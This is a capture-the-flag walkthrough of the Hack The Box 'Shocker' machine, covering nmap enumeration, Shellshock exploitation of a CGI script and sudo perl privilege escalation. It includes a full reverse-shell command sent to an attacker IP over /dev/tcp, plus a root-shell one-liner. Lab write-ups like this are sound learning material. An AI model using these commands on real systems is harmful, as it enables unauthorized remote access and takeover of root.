Shocker
OS: Linux, Difficulty: Easy, IP: 10.10.10.56
PSA
Before starting any HTB Box, please be sure that you have your HTB VPN turned on. Unlike me, you won't have to waste 2hrs scanning ports using nmap and bust your head thinking that is this box protected by some kind of magical firewall xD.
Initial Enumeration
Nmap scan for basic ports
# Nmap 7.70 scan initiated Thu Jul 4 19:01:39 2019 as: nmap -oN T-common 10.10.10.56
Nmap scan report for 10.10.10.56
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
2222/tcp open EtherNetIP-1
# Nmap done at Thu Jul 4 19:01:42 2019 -- 1 IP address (1 host up) scanned in 3.01 seconds
Detailed scan of the open ports
# Nmap 7.70 scan initiated Thu Jul 4 19:02:04 2019 as: nmap -sV -sC -p 80,2222 -oN O-Detailed 10.10.10.56
Nmap scan report for 10.10.10.56
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 4 19:02:18 2019 -- 1 IP address (1 host up) scanned in 14.65 seconds
Peculiar thing to note is that the SSH port has been moved to 2222
rather than the usual 22
User Own
Running dirb
on the http server
first got us a directory, cgi-bin
, and running dirb
again fetched us a file named user.sh
The file displayed uptime information of the server. After some research and going by the name of the box I was very positive that this may involve shellshocking.
I found a tool online to automate the job - https://github.com/nccgroup/shocker
python shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.14.13/9090 0<&1 2>&1" -c /cgi-bin/user.sh
This got me a reverse bash shell on my machine and I was able to cat
the flag.
> cat /home/shell/user.txt
2ec24***
Root Own
Running sudo -l
on the machine mentioned that I can run /usr/bin/perl
as root without password.
I went over to GTFOBins and found that I can run a shell using perl.
sudo perl -e 'exec "/bin/sh";'
This got a me a root shell and hence the root flag.
> cat /root/root.txt
52c27***
Learning Outcome
I had never heard of Shell-shock on the web-server ever before so I learnt something new.
Last updated
Was this helpful?